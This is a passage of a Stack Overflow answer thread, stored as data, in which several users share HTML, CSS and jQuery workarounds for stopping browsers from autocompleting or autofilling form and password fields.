noreferrer\">https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion</a></li>\n</ol>\n" }, { "answer_id": 62904153, "author": "Adrian P.", "author_id": 1058605, "author_profile": "https://Stackoverflow.com/users/1058605", "pm_score": 0, "selected": false, "text": "<p>I was fighting to autocomplete for years. I've tried every single suggestion, and nothing worked for me.\nAdding by jQuery 2 attributes worked well:</p>\n<pre><code>$(document).ready( function () {\n setTimeout(function() {\n $('input').attr('autocomplete', 'off').attr('autocorrect', 'off');\n }, 10);\n}); \n</code></pre>\n<p>will result in HTML</p>\n<pre><code>&lt;input id=&quot;start_date&quot; name=&quot;start_date&quot; type=&quot;text&quot; value=&quot;&quot; class=&quot;input-small hasDatepicker&quot; autocomplete=&quot;off&quot; placeholder=&quot;Start date&quot; autocorrect=&quot;off&quot;&gt;\n</code></pre>\n" }, { "answer_id": 63244443, "author": "Juergen", "author_id": 2183431, "author_profile": "https://Stackoverflow.com/users/2183431", "pm_score": 0, "selected": false, "text": "<p>This works with Chrome 84.0.4147.105</p>\n<p>1. Assign text type to password fields and add a class, e.g. &quot;fakepasswordtype&quot;</p>\n<pre><code>&lt;input type=&quot;text&quot; class=&quot;fakepasswordtype&quot; name=&quot;password1&quot;&gt;\n&lt;input type=&quot;text&quot; class=&quot;fakepasswordtype&quot; name=&quot;password2&quot;&gt;\n</code></pre>\n<p>2. Then use jQuery to change the type back to password the moment when first input is done</p>\n<pre><code>jQuery(document).ready(function($) {\n $('.fakepasswordtype').on('input', function(e){\n $(this).prop('type', 'password');\n });\n});\n</code></pre>\n<p>This stopped Chrome from its nasty ugly behavior from auto filling.</p>\n" }, { "answer_id": 63330944, "author": "Shedrack", "author_id": 12733154, "author_profile": "https://Stackoverflow.com/users/12733154", "pm_score": 1, "selected": false, "text": "<pre><code>&lt;input type=&quot;text&quot; name=&quot;attendees&quot; id=&quot;autocomplete-custom-append&quot;&gt;\n\n&lt;script&gt;\n /* AUTOCOMPLETE */\n\n function init_autocomplete() {\n\n if (typeof ($.fn.autocomplete) === 'undefined') {\n return;\n }\n // console.log('init_autocomplete');\n\n var attendees = {\n 1: &quot;Shedrack Godson&quot;,\n 2: &quot;Hellen Thobias Mgeni&quot;,\n 3: &quot;Gerald Sanga&quot;,\n 4: &quot;Tabitha Godson&quot;,\n 5: &quot;Neema Oscar Mracha&quot;\n };\n\n var countriesArray = $.map(countries, function (value, key) {\n return {\n value: value,\n data: key\n };\n });\n\n // initialize autocomplete with custom appendTo\n $('#autocomplete-custom-append').autocomplete({\n lookup: countriesArray\n });\n\n };\n&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 64499109, "author": "Adam Whateverson", "author_id": 6730421, "author_profile": "https://Stackoverflow.com/users/6730421", "pm_score": 2, "selected": false, "text": "<p><strong>Pretty sure this is the most generic solution as of today</strong></p>\n<p>This stops auto-complete and the popup suggestion box too.</p>\n<p><strong>Intro</strong></p>\n<p>Let's face it, autocomplete=off or new-password doesn't seem to work.\nIt's should do but it doesn't and every week we discover something else has changed and the browser is filling a form out with more random garbage we don't want. I've discovered a really simple solution that doesn't need autocomplete on sign in pages.</p>\n<p><strong>How to implement</strong></p>\n<p>Step 1). Add the same function call to the onmousedown and onkeyup attributes for your username and password fields, making sure you give them an id AND note the code at the end of the function call. md=mousedown and ku=keyup</p>\n<p>For the username field only add a value of <code>&amp;nbsp;</code> as this prevents the form auto-filling on entry to the page.</p>\n<p>For example:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;input type=\"text\" value=\"&amp;nbsp;\" id=\"myusername\" onmousedown=\"protectMe(this,'md')\" onkeyup=\"protectMe(this,'ku')\" /&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>Step 2). Include this function on the page</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function protectMe(el,action){\n\n // Remove the white space we injected on startup\n var v = el.value.trim();\n \n// Ignore this reset process if we are typing content in\n// and only acknowledge a keypress when it's the last Delete\n// we do resulting in the form value being empty\n if(action=='ku' &amp;&amp; v != ''){return;} \n\n// Fix double quote issue (in the form input) that results from writing the outerHTML back to itself\n v = v.replace(/\"/g,'\\\\\"'); \n \n // Reset the popup appearing when the form came into focus from a click by rewriting it back\n el.outerHTML=el.outerHTML; \n\n // Issue instruction to refocus it again, insert the value that existed before we reset it and then select the content.\n setTimeout(\"var d=document.getElementById('\"+el.id+\"'); d.value=\\\"\"+v+\"\\\";d.focus();if(d.value.length&gt;1){d.select();}\",100);\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p><strong>What does it do?</strong></p>\n<ul>\n<li>Firstly it adds an <code>&amp;nbsp;</code> space to the field so the browser tries\nto find details related to that but doesn't find anything, so that's\nauto-complete fixed</li>\n<li>Secondly, when you click, the HTML is created again, cancelling out the popup and then the value is added back selected.</li>\n<li>Finally, when you delete the string with the Delete button the popup usually ends up appearing again but the keyup check repeats the process if we hit that point.</li>\n</ul>\n<p><strong>What are the issues?</strong></p>\n<ul>\n<li>Clicking to select a character is a problem but for a sign in page most will forgive the fact it select all the text</li>\n<li>Javascript does trim any inputs of blank spaces but you might want to do it too on the server side to be safe</li>\n</ul>\n<p><strong>Can it be better?</strong></p>\n<p>Yes probably. This is just something I tested and it satisfies my basic need but there might be more tricks to add or a better way to apply all of this.</p>\n<p><strong>Tested browsers</strong></p>\n<p>Tested and working on latest Chrome, Firefox, Edge as of this post date</p>\n" }, { "answer_id": 64616202, "author": "FrontEndDev", "author_id": 6168762, "author_profile": "https://Stackoverflow.com/users/6168762", "pm_score": 2, "selected": false, "text": "<p>I must have spent two days on this discussion before resorting to creating my own solution:</p>\n<p>First, if it works for the task, ditch the <code>input</code> and use a <code>textarea</code>. To my knowledge, autofill/autocomplete has no business in a <code>textarea</code>, which is a great start in terms of what we're trying to achieve. Now you just have to change some of the default behaviors of that element to make it act like an <code>input</code>.</p>\n<p>Next, you'll want to keep any long entries on the same line, like an <code>input</code>, and you'll want the <code>textarea</code> to scroll along the y-axis with the cursor. We also want to get rid of the resize box, since we're doing our best to mimic the behavior of an <code>input</code>, which doesn't come with a resize handle. We achieve all of this with some quick CSS:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>#your-textarea {\n resize: none;\n overflow-y: hidden;\n white-space: nowrap;\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>Finally, you'll want to make sure the pesky scrollbar doesn't arrive to wreck the party (for those particularly long entries), so make sure your text-area doesn't show it:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>#your-textarea::-webkit-scrollbar {\n display: none;\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>Easy peasy. We've had zero autocomplete issues with this solution.</p>\n" }, { "answer_id": 64986232, "author": "A.D.P. Tondolo", "author_id": 5846607, "author_profile": "https://Stackoverflow.com/users/5846607", "pm_score": 1, "selected": false, "text": "<ol>\n<li>Leave inputs with text type and hidden.</li>\n<li>On DOMContentLoaded, call a function that changes the types for password and display the fields, with a delay of 1s.</li>\n</ol>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>document.addEventListener('DOMContentLoaded', changeInputsType);\n\nfunction changeInputsType() {\n setTimeout(function() {\n $(/*selector*/).prop(\"type\", \"password\").show();\n }, 1000);\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 65305870, "author": "Elazar Zadiki", "author_id": 3376480, "author_profile": "https://Stackoverflow.com/users/3376480", "pm_score": 1, "selected": false, "text": "<p>After trying all solutions (some have worked partly, disabling autofill but not autocomplete, some did not work at all), I've found the best solution as of 2020 to be adding type=&quot;search&quot; and autocomplete=&quot;off&quot; to your input element. Like this:</p>\n<pre><code>&lt;input type=&quot;search&quot; /&gt; or &lt;input type=&quot;search&quot; autocomplete=&quot;off&quot; /&gt;\n</code></pre>\n<p>Also make sure to have autocomplete=&quot;off&quot; on the form element.\nThis works perfectly and disables both autocomplete and autofill.</p>\n<p>Also, if you're using type=&quot;email&quot; or any other text type, you'll need to add autocomplete=&quot;new-email&quot; and that will disable both perfectly. same goes for type=&quot;password&quot;. Just add a &quot;new-&quot; prefix to the autocomplete together with the type.\nLike this:</p>\n<pre><code>&lt;input type=&quot;email&quot; autocomplete=&quot;new-email&quot; /&gt;\n&lt;input type=&quot;password&quot; autocomplete=&quot;new-password&quot; /&gt;\n</code></pre>\n" }, { "answer_id": 65484970, "author": "Guido", "author_id": 5117084, "author_profile": "https://Stackoverflow.com/users/5117084", "pm_score": 1, "selected": false, "text": "<p>I already posted a solution for this here: <em><a href=\"https://stackoverflow.com/questions/37595141/disable-chrome-autofill-creditcard/60664102#60664102\">Disable Chrome Autofill creditcard</a></em></p>\n<p>The workaround is to set the autocomplete attribute as &quot;cc-csc&quot; that value is the <a href=\"https://en.wikipedia.org/wiki/Card_security_code\" rel=\"nofollow noreferrer\">CSC</a> of a credit card and that they are no allowed to store it! (for now...)</p>\n<pre><code>autocomplete=&quot;cc-csc&quot;\n</code></pre>\n" }, { "answer_id": 67016956, "author": "thisisashwani", "author_id": 3663437, "author_profile": "https://Stackoverflow.com/users/3663437", "pm_score": 2, "selected": false, "text": "<blockquote>\n<p>(It works in 2021 for Chrome (v88, 89, 90), Firefox, Brave, and Safari.)</p>\n<p>The old answers already written here will work with trial and error, but most of\nthem don't link to any official documentation or what Chrome has to say on this\nmatter.</p>\n</blockquote>\n<p>The issue mentioned in the question is because of Chrome's autofill feature, and here is Chrome's stance on it in this bug link - <em><a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=468153#c164\" rel=\"nofollow noreferrer\">Issue 468153: autocomplete=off is ignored on non-login INPUT elements, Comment 160</a></em></p>\n<p>To put it simply, there are two cases -</p>\n<ul>\n<li><p><em><strong>[CASE 1]</strong></em>: Your <code>input</code> type is something other than <code>password</code>. In this case, the solution is simple, and has three steps.</p>\n</li>\n<li><p>Add the <code>name</code> attribute to <code>input</code></p>\n</li>\n<li><p><code>name</code> should not start with a value like email or username. Otherwise Chrome still ends up showing the dropdown. For example, <code>name=&quot;emailToDelete&quot;</code> shows the dropdown, but <code>name=&quot;to-delete-email&quot;</code> doesn't. The same applies for the <code>autocomplete</code> attribute.</p>\n</li>\n<li><p>Add the <code>autocomplete</code> attribute, and add a value which is meaningful for you, like <code>new-field-name</code></p>\n</li>\n</ul>\n<p>It will look like this, and you won't see the autofill for this input again for the rest of your life -</p>\n<pre><code> &lt;input type=&quot;text/number/something-other-than-password&quot; name=&quot;x-field-1&quot; autocomplete=&quot;new-field-1&quot; /&gt;\n</code></pre>\n<ul>\n<li><em><strong>[CASE 2]</strong></em>: <code>input</code> <code>type</code> is <code>password</code></li>\n<li>Well, in this case, irrespective of your trials, Chrome will show you the dropdown to manage passwords / use an already existing password. Firefox will also do something similar, and same will be the case with all other major browsers. <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"nofollow noreferrer\">2</a></li>\n<li>In this case, if you really want to stop the user from seeing the dropdown to manage passwords / see a securely generated password, you will have to play around with JS to switch input type, as mentioned in the other answers of this question.</li>\n</ul>\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"nofollow noreferrer\">2</a> Detailed MDN documentation on turning off autocompletion - <em><a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"nofollow noreferrer\">How to turn off form autocompletion</a></em></p>\n" }, { "answer_id": 67308894, "author": "Stokely", "author_id": 5555938, "author_profile": "https://Stackoverflow.com/users/5555938", "pm_score": 1, "selected": false, "text": "<p><strong>Simply change the <code>name</code> attribute in your <code>input</code> element to something <em>unique</em> each time and it will never autocomplete again!</strong></p>\n<p>An example might be a time tic added at the end. Your server would only need to parse the first part of the text <code>name</code> to retrieve the value back.</p>\n<pre><code>&lt;input type=&quot;password&quot; name=&quot;password_{DateTime.Now.Ticks}&quot; value=&quot;&quot; /&gt;\n</code></pre>\n" }, { "answer_id": 67525598, "author": "jemiloii", "author_id": 630496, "author_profile": "https://Stackoverflow.com/users/630496", "pm_score": 0, "selected": false, "text": "<p>Chrome keeps trying to force autocomplete. So there are a few things you need to do.</p>\n<p>The input field's attributes <code>id</code> and <code>name</code> need to not be recognizable. So no values such as name, phone, address, etc.</p>\n<p>The adjacent label or div also needs to not be recognizable. However, you may wonder, how will the user know? Well there is a fun little trick you can do with <code>::after</code> using the <code>content</code>. You can set it to a letter.</p>\n<pre class=\"lang-html prettyprint-override\"><code>&lt;label&gt;Ph&lt;span class='o'&gt;&lt;/span&gt;ne&lt;/label&gt;\n&lt;input id='phnbr' name='phnbr' type='text'&gt;\n\n&lt;style&gt;\n span.o {\n content: 'o';\n }\n&lt;/style&gt;\n</code></pre>\n" }, { "answer_id": 67612266, "author": "Rocket Fuel", "author_id": 4263655, "author_profile": "https://Stackoverflow.com/users/4263655", "pm_score": 3, "selected": false, "text": "<p>Here's the perfect solution that will work in all browsers as of May 2021!</p>\n<h1>TL;DR</h1>\n<p>Rename your input field names and field ids to something non-related like <code>'data_input_field_1'</code>. Then add the <code>&amp;#8204;</code> character into the middle of your labels. This is a non-printing character, so you won't see it, but it tricks the browser into not recognizing the field as one needing auto-completing, thus no built-in auto-complete widget is shown!</p>\n<h1>The Details</h1>\n<p>Almost all browsers use a combination of the field's name, id, placeholder, and label to determine if the field belongs to a group of address fields that could benefit from auto-completion. So if you have a field like <code>&lt;input type=&quot;text&quot; id=&quot;address&quot; name=&quot;street_address&quot;&gt;</code> pretty much all browsers will interpret the field as being an address field. As such the browser will display its built-in auto-completion widget. The dream would be that using the attribute <code>autocomplete=&quot;off&quot;</code> would work, unfortunately, most browsers nowadays don't obey the request.</p>\n<p>So we need to use some trickery to get the browsers to not display the built-in autocomplete widget. The way we will do that is by fooling the browser into believing that the field is not an address field at all.</p>\n<p>Start by renaming the <strong>id</strong> and the <strong>name</strong> attributes to something that won't give away that you're dealing with address-related data. So rather than using <code>&lt;input type=&quot;text&quot; id=&quot;city-input&quot; name=&quot;city&quot;&gt;</code>, use something like this instead <code>&lt;input type=&quot;text&quot; id=&quot;input-field-3&quot; name=&quot;data_input_field_3&quot;&gt;</code>. The browser doesn't know what data_input_field_3 represents. But you do.</p>\n<p>If possible, don't use <strong>placeholder text</strong> as most browsers will also take that into account. If you have to use placeholder text, then you'll have to get creative and make sure you're not using any words relating to the address parameter itself (like <code>City</code>). Using something like <code>Enter location</code> can do the trick.</p>\n<p>The final parameter is the <strong>label</strong> attached to the field. However, if you're like me, you probably want to keep the label intact and display recognizable fields to your users like &quot;Address&quot;, &quot;City&quot;, &quot;State&quot;, &quot;Country&quot;. Well, great news: <em><strong>you can</strong></em>! The best way to achieve that is to insert a <em>Zero-Width Non-Joiner Character</em>, <code>&amp;#8204;</code>, as the second character in the label. So replacing <code>&lt;label&gt;City&lt;/label&gt;</code> with <code>&lt;label&gt;C&amp;#8204;ity&lt;/label&gt;</code>. This is a non-printing character, so your users will see <code>City</code>, but the browser will be tricked into seeing <code>C ity</code> and not recognize the field!</p>\n<p>Mission accomplished! If all went well, the browser should not display the built-in address auto-completion widget on those fields anymore!</p>\n" }, { "answer_id": 68538472, "author": "German", "author_id": 12883974, "author_profile": "https://Stackoverflow.com/users/12883974", "pm_score": 3, "selected": false, "text": "<p>Things had changed now as I tried it myself old answers no longer work.</p>\n<p>Implementation that I'm sure it will work. I test this in Chrome, Edge and Firefox and it does do the trick. You may also try this and tell us your experience.</p>\n<pre><code>set the autocomplete attribute of the password input element to &quot;new-password&quot;\n\n&lt;form autocomplete=&quot;off&quot;&gt;\n....other element\n&lt;input type=&quot;password&quot; autocomplete=&quot;new-password&quot;/&gt;\n&lt;/form&gt;\n</code></pre>\n<p>This is according to <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#preventing_autofilling_with_autocompletenew-password\" rel=\"noreferrer\">MDN</a></p>\n<p>If you are defining a user management page where a user can specify a new password for another person, and therefore you want to prevent autofilling of password fields, you can use <code>autocomplete=&quot;new-password&quot;</code></p>\n<p>This is a hint, which browsers are not required to comply with. However modern browsers have stopped autofilling <code>&lt;input&gt;</code> elements with autocomplete=&quot;new-password&quot; for this very reason.</p>\n" }, { "answer_id": 69547712, "author": "Stokely", "author_id": 5555938, "author_profile": "https://Stackoverflow.com/users/5555938", "pm_score": 0, "selected": false, "text": "<p><strong>DO NOT USE JAVASCRIPT to fix this!!</strong></p>\n<p>Use HTML to address this problem first, in case browsers are not using scripts, fail to use your version of script, or have scripts turned off. Always layer scripting LAST on top of HTML.</p>\n<ol>\n<li>For regular input form fields with &quot;text&quot; type attributes, add the <code>autocomplete=&quot;off&quot;</code> on the element. This may not work in modern HTML5 browsers due to user browser override settings but it takes care of many older browsers and stops the autocomplete drop down choices in most. Notice, I also include all the other autocomplete options that might be irritating to users, like <code>autocapitalize=&quot;off&quot;</code>, <code>autocorrect=&quot;off&quot;</code>, and <code>spellcheck=&quot;false&quot;</code>. Many browser do not support these but they add extra &quot;offs&quot; of features that annoy data entry people. Note that <strong>Chrome for example ignores &quot;off&quot;</strong> if a users browsers are set with <code>autofill</code> enabled. So, realize browser settings can override this attribute.</li>\n</ol>\n<p>EXAMPLE:</p>\n<pre><code>&lt;input type=&quot;text&quot; id=&quot;myfield&quot; name=&quot;myfield&quot; size=&quot;20&quot; value=&quot;&quot; autocomplete=&quot;off&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; spellcheck=&quot;false&quot; tabindex=&quot;0&quot; placeholder=&quot;Enter something here...&quot; title=&quot;Enter Something&quot; aria-label=&quot;Something&quot; required=&quot;required&quot; aria-required=&quot;true&quot; /&gt;\n</code></pre>\n<ol start=\"2\">\n<li>For <em>username</em> and <em>password</em> input type fields, there are some limited browser support for more specific attributes for <code>autocomplete</code> that trigger the &quot;off&quot; feature&quot;. <code>autocomplete=&quot;username&quot;</code> on text inputs used for logins will force some browsers to reset and remove the autocomplete feature. <code>autocomplete=&quot;new-password&quot;</code> will try and do the same for passwords using the &quot;password&quot; type input field. (see below). However, these are propriety to specific browsers, and will fail in most. Browsers that do not support these features include Internet Explorer 1-11, many Safari and Opera desktop browsers, and some version of iPhone and Android default browsers. But they provide additional power to try and force removal of autocomplete.</li>\n</ol>\n<p>EXAMPLE:</p>\n<pre><code>&lt;input type=&quot;text&quot; id=&quot;username&quot; name=&quot;username&quot; size=&quot;20&quot; value=&quot;&quot; autocomplete=&quot;username&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; spellcheck=&quot;false&quot; tabindex=&quot;0&quot; placeholder=&quot;Enter username here...&quot; title=&quot;Enter Username&quot; aria-label=&quot;Username&quot; required=&quot;required&quot; aria-required=&quot;true&quot; /&gt;\n</code></pre>\n<pre><code>&lt;input type=&quot;password&quot; id=&quot;password&quot; name=&quot;password&quot; size=&quot;20&quot; minlength=&quot;8&quot; maxlength=&quot;12&quot; pattern=&quot;(?=.*\\d)(?=.*[a-z])(?=.*[A-Z]).{8,12}&quot; value=&quot;&quot; autocomplete=&quot;new-password&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; spellcheck=&quot;false&quot; tabindex=&quot;0&quot; placeholder=&quot;Enter password here...&quot; title=&quot;Enter Password: (8-12) characters, must contain one number, one uppercase and lowercase letter&quot; aria-label=&quot;Password&quot; required=&quot;required&quot; aria-required=&quot;true&quot; /&gt;\n</code></pre>\n<p><strong>NOW FOR A BETTER SOLUTION!</strong></p>\n<p>Because of the splintered support for HTML5 by standards bodies and browsers, <strong>many of these modern HTML5 attributes fail in many browsers</strong>. So, some kids turn to scripting to fill in the holes. But that's lazy programming. Hiding or rewriting HTML using <strong>JavaScript makes things worse</strong>, as you now have layers upon layers of script dependencies <em>PLUS</em> the HTML patches. Avoid this!</p>\n<p><strong>The best way to permanently disable this feature in forms and fields is to simply create a custom &quot;id&quot;/&quot;name&quot; value</strong> each time on your 'input' elements using a unique value like a date or time concatenated to the field id and name attribute and make sure they match (e.g. &quot;name=password_{date}&quot;).</p>\n<pre><code>&lt;input type=&quot;text&quot; id=&quot;password_20211013&quot; name=&quot;password_20211013&quot; /&gt;\n</code></pre>\n<p>This <em>destroys</em> the silly browser autocomplete choice algorithms sniffing for matched names that trigger past values for these fields. Doing so, the browsers cannot match caches of previous form data with yours. It will force &quot;autocomplete&quot; to be off, or show a blank list, and will not show any previous passwords ever again! On the server side, you can create these custom input &quot;named&quot; fields and can still identify and extract the right field from the response coming from the user's browser by simply parsing the first part of the id/name. For example &quot;password_&quot; or &quot;username_&quot;, etc. When the field's &quot;name&quot; value comes in you simply parse for the first part (&quot;password_{date}&quot;) and ignore the rest, then extract your value on the server.</p>\n<p>Easy!</p>\n" }, { "answer_id": 69733397, "author": "Shahid Malik", "author_id": 6487625, "author_profile": "https://Stackoverflow.com/users/6487625", "pm_score": 0, "selected": false, "text": "<p>Very simple solution Just change the label name and fields name other than the more generic name e.g: Name, Contact, Email.\nUse &quot;Mail To&quot; instead of &quot;Email&quot;.\nBrowsers ignore autocomplete off for these fields.</p>\n" }, { "answer_id": 69817877, "author": "Alex from Jitbit", "author_id": 56621, "author_profile": "https://Stackoverflow.com/users/56621", "pm_score": 1, "selected": false, "text": "<p>I've been fighting this never-ending battle for ages now... And all tricks and hacks eventually stop working, almost as if browser devs are reading this question.</p>\n<p>I didn't want to randomize field names, touch the server-side code, use JS-heavy tricks and wanted to keep &quot;hacks&quot; to a minimum. So here's what I came up with:</p>\n<p><strong>TL;DR</strong> use an <code>input</code> without a <code>name</code> or <code>id</code> at all! And track changes in a hidden field</p>\n<pre><code>&lt;!-- input without the &quot;name&quot; or &quot;id&quot; --&gt;\n&lt;input type=&quot;text&quot; oninput=&quot;this.nextElementSibling.value=this.value&quot;&gt;\n&lt;input type=&quot;hidden&quot; name=&quot;email&quot; id=&quot;email&quot;&gt;\n</code></pre>\n<p>Works in all major browsers, obviously.</p>\n<p>P.S. Known minor issues:</p>\n<ol>\n<li>you can't reference this field by <code>id</code> or <code>name</code> anymore. But you can use CSS classes. Or use <code>$(#email').prev();</code> in jQuery. Or come up with another solution (there's many).</li>\n<li><code>oninput</code> and <code>onchange</code> events do not fire when the textbox value is changed programmatically. So modify your code accordingly to mirror changes in the hidden field too.</li>\n</ol>\n" }, { "answer_id": 69977957, "author": "user1779049", "author_id": 1779049, "author_profile": "https://Stackoverflow.com/users/1779049", "pm_score": 0, "selected": false, "text": "<p>Define input's attribute type=&quot;text&quot; along with autocomplete=&quot;off&quot; works enough to turn off autocomplete for me.</p>\n<p>EXCEPT for type=&quot;password&quot;, I try switching the readonly attribute using JavaScript hooking on onfocus/onfocusout event from others' suggestions works fine BUT while the password field editing begin empty, autocomplete password comes again.</p>\n<p>I would suggest switching the type attribute regarding length of password using JavaScript hooking on oninput event in addition to above workaround which worked well..</p>\n<pre><code>&lt;input id=&quot;pwd1&quot; type=&quot;text&quot; autocomplete=&quot;off&quot; oninput=&quot;sw(this)&quot; readonly onfocus=&quot;a(this)&quot; onfocusout=&quot;b(this)&quot; /&gt;\n&lt;input id=&quot;pwd2&quot; type=&quot;text&quot; autocomplete=&quot;off&quot; oninput=&quot;sw(this)&quot; readonly onfocus=&quot;a(this)&quot; onfocusout=&quot;b(this)&quot; /&gt;\n</code></pre>\n<p>and JavaScript..</p>\n<pre><code>function sw(e) {\n e.setAttribute('type', (e.value.length &gt; 0) ? 'password' : 'text');\n}\nfunction a(e) {\n e.removeAttribute('readonly');\n}\nfunction b(e) {\n e.setAttribute('readonly', 'readonly');\n}\n</code></pre>\n" }, { "answer_id": 70065375, "author": "Abdul Wadud Somrat", "author_id": 8977722, "author_profile": "https://Stackoverflow.com/users/8977722", "pm_score": 2, "selected": false, "text": "<p>To disable the autocomplete of text in forms, use the autocomplete attribute of and elements. You'll need the &quot;off&quot; value of this attribute.</p>\n<p>This can be done in a for a complete form or for specific elements:</p>\n<ol>\n<li>Add autocomplete=&quot;off&quot; onto the element to disable autocomplete for the entire form.</li>\n<li>Add autocomplete=&quot;off&quot; for a specific element of the form.</li>\n</ol>\n<p><strong>form</strong></p>\n<pre><code>&lt;form action=&quot;#&quot; method=&quot;GET&quot; autocomplete=&quot;off&quot;&gt;\n&lt;/form&gt;\n</code></pre>\n<p><strong>input</strong></p>\n<pre><code>&lt;input type=&quot;text&quot; name=&quot;Name&quot; placeholder=&quot;First Name&quot; autocomplete=&quot;off&quot;&gt;\n</code></pre>\n" }, { "answer_id": 70182710, "author": "abernee", "author_id": 5846231, "author_profile": "https://Stackoverflow.com/users/5846231", "pm_score": -1, "selected": false, "text": "<p>I was having trouble on a form which included input fields for username and email with email being right after username. Chrome would autofill my current username for the site into the email field and put focus on that field. This wasn't ideal as it was a form for adding new users to the web application.</p>\n<p>It seems that if you have two inputs one after the other where the first one has the term 'user name' or username in it's label or ID and the next one has the word email in it's label or ID chrome will autofill the email field.</p>\n<p>What solved the issue for me was to change the ID's of the inputs to not include those words. I also had to set the text of the labels\nto an empty string and use a javascript settimeout function to change the label back to what it should be after 0.01s.</p>\n<pre><code>setTimeout(function () { document.getElementById('id_of_email_input_label').innerHTML = 'Email:'; }, 10);\n</code></pre>\n<p>If you are having this problem with any other input field being wrongly autofilled I'd try this method.</p>\n" }, { "answer_id": 70981166, "author": "frank edekobi", "author_id": 11011337, "author_profile": "https://Stackoverflow.com/users/11011337", "pm_score": 3, "selected": false, "text": "<pre><code>&lt;input autocomplete=&quot;off&quot; aria-invalid=&quot;false&quot; aria-haspopup=&quot;false&quot; spellcheck=&quot;false&quot; /&gt;\n</code></pre>\n<p>i find it works for me on all browsers. When I make use of only the autocomplete it doesn't work except i combine all the attributes that you see. Also i got the solution from google form input field</p>\n" }, { "answer_id": 71739502, "author": "Dieter Bender", "author_id": 2569076, "author_profile": "https://Stackoverflow.com/users/2569076", "pm_score": 0, "selected": false, "text": "<p>Browser ignores autocomlete on readonly fields. This code makes all writable filds readonly till it's focused.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>$(_=&gt;{$('form[autocomplete=off] [name]:not([readonly])').map((i,t)=&gt;$(t).prop('autocomplete',t.type=='password'?'new-password':'nope').prop('readonly',!0).one('focus',e=&gt;$(t).prop('readonly',!1)));\n})</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js\"&gt;&lt;/script&gt;\n&lt;form method=\"post\" autocomplete=\"off\"&gt;\n&lt;input name=\"user\" id=\"user\" required class=\"form-control\" /&gt;\n&lt;label class=\"form-label\" for=\"user\"&gt;New User&lt;/label&gt;\n&lt;hr&gt;\n&lt;input type=\"password\" name=\"pass\" id=\"pass\" minlength=\"8\" maxlength=\"20\" /&gt;\n&lt;label class=\"form-label\" for=\"pass\"&gt;New Passwort&lt;/label&gt;\n&lt;/form&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 72450902, "author": "DLK", "author_id": 19168006, "author_profile": "https://Stackoverflow.com/users/19168006", "pm_score": 0, "selected": false, "text": "<p>I was looking arround to find a solution to this but none of them worked proberly on all browsers.</p>\n<p>I tried autocomplete off, none, nope, new_input_64, (even some funny texts) because the autoComplete attribute expects a string to be passed, no matter what.</p>\n<p>After many searches and attempts I found this solution.</p>\n<p>I changed all <code>input</code> types to <code>text</code> and added a bit of simple CSS code.</p>\n<p>Here is the form:</p>\n<pre><code>&lt;form class=&quot;row gy-3&quot;&gt;\n &lt;div class=&quot;col-md-12&quot;&gt;\n &lt;label for=&quot;fullname&quot; class=&quot;form-label&quot;&gt;Full Name&lt;/label&gt;\n &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;fullname&quot; name=&quot;fullname&quot; value=&quot;&quot;&gt;\n &lt;/div&gt;\n &lt;div class=&quot;col-md-6&quot;&gt;\n &lt;label for=&quot;username&quot; class=&quot;form-label&quot;&gt;User Name&lt;/label&gt;\n &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;username&quot; name=&quot;username&quot; value=&quot;&quot;&gt;\n &lt;/div&gt;\n &lt;div class=&quot;col-md-6&quot;&gt;\n &lt;label for=&quot;email&quot; class=&quot;form-label&quot;&gt;Email&lt;/label&gt;\n &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;email&quot; name=&quot;email&quot; value=&quot;&quot;&gt;\n &lt;/div&gt;\n &lt;div class=&quot;col-md-6&quot;&gt;\n &lt;label for=&quot;password&quot; class=&quot;form-label&quot;&gt;Password&lt;/label&gt;\n &lt;input type=&quot;text&quot; class=&quot;form-control pswd&quot; id=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot;&gt;\n 